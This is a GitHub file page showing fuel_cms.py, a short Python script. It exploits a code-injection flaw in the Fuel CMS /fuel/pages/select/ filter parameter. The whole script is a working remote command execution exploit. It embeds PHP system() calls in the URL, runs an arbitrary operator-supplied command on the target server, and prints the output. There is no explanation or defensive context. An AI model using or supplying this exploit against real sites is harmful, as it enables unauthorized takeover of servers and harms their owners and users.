-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathfuel_cms.py
More file actions
68 lines (48 loc) · 1.25 KB
/
fuel_cms.py
File metadata and controls
68 lines (48 loc) · 1.25 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
import argparse
import requests
import sys
import urllib
####
# PARSSING URL and CMD
parser = argparse.ArgumentParser()
parser.add_argument('-u', '--url', type=str, help='url')
parser.add_argument('-c', '--cmd', type=str, help='command')
args = parser.parse_args()
# If not all flags are set
if not args.url or not args.cmd:
print("Usage fuel_cms.py -u <url> -c <command>")
sys.exit(1)
# URL + Payload
cmd = args.cmd
enc_cmd = urllib.parse.quote(args.cmd)
payload = f"{args.url}/fuel/pages/select/?filter='%2Bpi(print(%24a%3D'system'))%2B%24a('{enc_cmd}')%2B'"
#Debug
#print (payload)
###################################
# Fetching cmd output
def output(r):
try:
lines = r.content.decode().splitlines()
content_lines = []
for line in lines:
if line.startswith('<div'):
break
content_lines.append(line)
content = '\n'.join(content_lines)
# Replacing 1st occurence of system
content = content.replace('system', '', 1)
return(content)
except:
return("Error while fetching the output")
#################################
#################
#Sending the request
try:
r = requests.get(payload)
#DEBUG
#print(r.content)
#print("\n"*20)
except:
print("Error while sending the payload")
sys.exit(1)
print(output(r))